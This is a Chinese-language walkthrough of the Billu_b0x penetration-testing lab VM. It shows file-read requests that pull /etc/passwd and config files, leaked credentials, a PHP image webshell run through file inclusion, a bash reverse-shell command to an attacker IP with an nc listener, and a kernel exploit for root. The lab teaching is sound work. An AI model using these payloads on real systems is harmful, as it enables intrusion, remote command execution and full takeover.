一次Billu_b0x滲透學習
這次的Billu_b0x靶場應該說是學習經驗,按照大神的流程走了一遍,中間各種掃盲,和學習思路,現在把整體的思路和過程梳理一下。
一、發現IP
虛擬機打開,按照規則所說,NAT模式,沒有發現IP
於是ifconfig,找到vmnet8的C段,這裏就是虛擬機存在的網段。
nmap -sP 172.16.230.1/24
nmap -sP 是掃描這個C段對ping進行迴應的主機,/24 = 255.255.255.0,子網掩碼
二、信息收集
nmap -sV -sC -A -Pn -oN 172.16.230.151.txt 172.16.230.151
ssh和80web端口是開着的。
打開網頁目錄掃描
- in.php
- show.php
- add.php
- index.php
- phpmy(字典沒掃出來,字典強大還是很重要哇)
in.php | show.php | add.php | index.php | c.php | phpmy |
---|---|---|---|---|---|
phpinfo界面 | 登錄界面 | 文件上傳界面 | 同登錄界面 | 無界面 | phpMyAdmin |
三、初探
-
phpmy是phpMyAdmin界面。
-
主頁提示show me your SQLI skills,sqlfuzz字典+burp了一波,發現注入不了,要是有不同的錯誤回顯還好些,SQL注入我是放棄了。
-
add.php有文件上傳,但是抓包發現沒有回顯文件地址,故也沒走通。
-
test.php發現有提示
file暗指文件包含?
GET 方式傳參file
GET /test.php?file=/etc/passwd HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
無反應
POST 方式傳參file
burp直接 change Method
POST /test.php HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
file=/etc/passwd
返回
這裏可以看到,root和ica用戶擁有shell權限。
我們感興趣的頁面源碼是不是都可以拿下來?
- c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
- index.php
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
- add.php
<?php
echo '<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name=image>
<input type=text name=name value="name">
<input type=text name=address value="address">
<input type=text name=id value=1337 >
<input type="submit" value="upload" name="upload">
</form>';
?>
好了,就不一一列出來了。
四、兩種方式拿到root
一、phpmyadmin配置文件
前面已經有任意文件下載的問題,phpmyadmin默認配置文件config.inc.php
猜測目錄可能在/var/www/phpmy/config.inc.php
POST /test.php HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
file=/var/www/phpmy/config.inc.php
結果
使用root
和roottoor
進行ssh登陸
實驗結束。
二、常規滲透
1、登入後臺
注意到c.php,有mysql的連接祕鑰billu
,b0x_billu
嘗試登陸phpmy後臺
看到了這個網站的數據庫結構,使用auth下的賬號登陸index.php
成功登錄界面
這裏AddUser功能有上傳文件,當然是做了限制的,但是我們有源碼可以進行審計。
2、代碼審計
好的,沒有對傳入的參數進行過濾,存在任意文件包含。
3、圖片馬+本地文件包含拿到cmdshell
可以想到圖片馬+任意文件包含拿到cmdShell
我們看看continue哪些參數我們可控。
load直接作爲參數$choice在include中被包含,那我直接將load改爲圖片馬的路徑,不就可以解析圖片馬了麼。
OK,我們上傳正常的圖片上去,在圖片數據流最後,加入
<?php system($_GET['cmd']);?>
這是我們上傳的圖片地址/uploaded_images/j.jpg。
點擊continue轉包,將GET後的參數改爲cmd=cat%20/etc/passwd;ls
爲圖片馬提供參數,將post中的body改爲load=/uploaded_images/j.jpg&continue=continue
包含我們的圖片馬目錄
POST /panel.php?cmd=cat%20/etc/passwd;ls HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Referer: http://172.16.230.151/panel.php
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
load=/uploaded_images/j.jpg&continue=continue
返回,圖片馬被觸發成功。
4、反彈shell
echo "bash -i >& /dev/tcp/192.168.31.237/4444 0>&1" | bash
命令解釋:
bash -i : bash是Linux下一個常見的shell,
-i
參數表示產生一個交互式的shell/dev/tcp/192.168.175.134/8080 :
/dev/tcp|udp/ip/port
是一個Linux中比較特殊的一個文件,如果在Linux上訪問就會發現這個文件並不存在,其含義是讓主機與目標主機ip
在端口port
建立一個tcp或udp連接0>&1:將標準輸入
0
輸出重定向至標準輸出1
。或者可以這麼理解,將標準輸入0
和標準輸出1
合併,在重定向至1
,因爲前面已經將標準輸出1
重定向至/dev/tcp/192.168.175.134/8080
,所以現在標準輸入0
和標準輸出1
都指向/dev/tcp/192.168.175.134/8080
。
至於echo 和 | bash是代表什麼意思,我就不太清楚了,有知道的表哥可以告知下!
將echo "bash -i >& /dev/tcp/172.16.1.75/4444 0>&1" | bash
進行URL編碼,作爲cmd參數傳入
本地nc -lvp 4444監聽反彈來的shell。
uploaded_images目錄我們擁有讀寫執行權限的目錄
5、提權
uname -a找到對應liunx版本
https://www.exploit-db.com/exploits/37292/
拿到root
五、總結
信息收集很重要!所有的信息都要留意,切不能悶頭無腦擼站。如果沒有test.php的提示,就很難有突破點